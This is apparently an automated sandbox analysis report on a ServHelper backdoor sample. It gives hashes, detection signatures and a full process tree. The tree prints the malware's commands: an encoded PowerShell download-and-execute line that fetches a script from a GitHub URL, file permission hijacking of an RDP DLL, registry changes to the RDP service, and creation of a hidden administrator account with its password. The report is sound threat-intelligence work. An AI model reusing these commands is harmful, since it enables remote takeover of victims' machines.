Analysis

  • max time kernel
    125s
  • max time network
    116s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    02-07-2021 06:03

General

  • Target

    b8c76065042d1557af857a48a5ac0f3e.exe

  • Size

    5.7MB

  • MD5

    b8c76065042d1557af857a48a5ac0f3e

  • SHA1

    7b5077cd4aaa5c97a768e9722828ebac94abe1f8

  • SHA256

    e5dcf030290fd293d259f1c8ffbb65328c371e07fa34419af7723429599a7f6e

  • SHA512

    59aa84a81ac66288b0d9b2d160ce6c3895d5a02bd48bceff659aeaf21df28c4996585378d302535f50b06d0592d65b5e6612714f7bec4d0df39e9bf514d54eba

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b8c76065042d1557af857a48a5ac0f3e.exe
    "C:\Users\Admin\AppData\Local\Temp\b8c76065042d1557af857a48a5ac0f3e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1268
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:872
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\i0fjt4sj\i0fjt4sj.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1512
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES166E.tmp" "c:\Users\Admin\AppData\Local\Temp\i0fjt4sj\CSCACD5129E7C3F46958A1589509327CC7F.TMP"
          4⤵
            PID:1036
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:588
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:768
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1332
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1604
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1384
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1156
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:616
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1512
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1708
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:544
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1040
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:588
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1004
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1696
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1640
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1648
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1756
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1796
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:676
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1712
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1088
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1156
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1772
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1728
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1160
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1496
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:856
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1696
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:292
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc vRLTzGmU /add
                                  1⤵
                                    PID:316
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc vRLTzGmU /add
                                      2⤵
                                        PID:1384
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc vRLTzGmU /add
                                          3⤵
                                            PID:676
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1496
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:832
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1160
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                              1⤵
                                                PID:1548
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                  2⤵
                                                    PID:1796
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                      3⤵
                                                        PID:1756
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:316
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:936
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1004
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc vRLTzGmU
                                                          1⤵
                                                            PID:1512
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc vRLTzGmU
                                                              2⤵
                                                                PID:1552
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc vRLTzGmU
                                                                  3⤵
                                                                    PID:1660
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:588
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1696
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:1832
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1552
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1700
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:544
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:588

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/588-107-0x000000001BAA0000-0x000000001BAA1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/588-121-0x000000001BC80000-0x000000001BC81000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/588-94-0x00000000025F0000-0x00000000025F1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/588-96-0x000000001B530000-0x000000001B531000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/588-98-0x000000001B470000-0x000000001B471000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/588-99-0x000000001AB40000-0x000000001AB42000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/588-100-0x000000001AB44000-0x000000001AB46000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/588-201-0x0000000019540000-0x0000000019542000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/588-102-0x0000000002270000-0x0000000002271000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/588-202-0x0000000019544000-0x0000000019546000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/588-120-0x000000001BC70000-0x000000001BC71000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/588-203-0x000000001954A000-0x0000000019569000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/768-127-0x000000001AA70000-0x000000001AA72000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/768-128-0x000000001AA74000-0x000000001AA76000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/768-130-0x000000001A900000-0x000000001A901000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/768-132-0x000000001A9D0000-0x000000001A9D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/768-134-0x000000001B460000-0x000000001B461000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/768-135-0x00000000023E0000-0x00000000023E1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/872-86-0x000000001B6D0000-0x000000001B6D1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/872-70-0x0000000002450000-0x0000000002451000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/872-87-0x000000001AAD0000-0x000000001AAD1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/872-73-0x000000001AB94000-0x000000001AB96000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/872-85-0x000000001B5C0000-0x000000001B5C1000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/872-83-0x0000000002300000-0x0000000002301000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/872-72-0x000000001AB90000-0x000000001AB92000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/872-71-0x0000000002790000-0x0000000002791000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/872-101-0x000000001AB9A000-0x000000001ABB9000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/872-157-0x000000001C470000-0x000000001C471000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/872-67-0x000007FEFB991000-0x000007FEFB993000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/872-68-0x0000000002390000-0x0000000002391000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/872-69-0x000000001AC10000-0x000000001AC11000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/872-75-0x000000001C180000-0x000000001C181000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1268-64-0x0000000041826000-0x0000000041827000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1268-59-0x0000000001120000-0x0000000001D0E000-memory.dmp

                                                                        Filesize

                                                                        11.9MB

                                                                      • memory/1268-60-0x0000000041F10000-0x00000000421BA000-memory.dmp

                                                                        Filesize

                                                                        2.7MB

                                                                      • memory/1268-62-0x0000000041822000-0x0000000041824000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1268-63-0x0000000041824000-0x0000000041826000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1268-65-0x0000000041827000-0x0000000041828000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1332-156-0x00000000026F4000-0x00000000026F6000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1332-155-0x00000000026F0000-0x00000000026F2000-memory.dmp

                                                                        Filesize

                                                                        8KB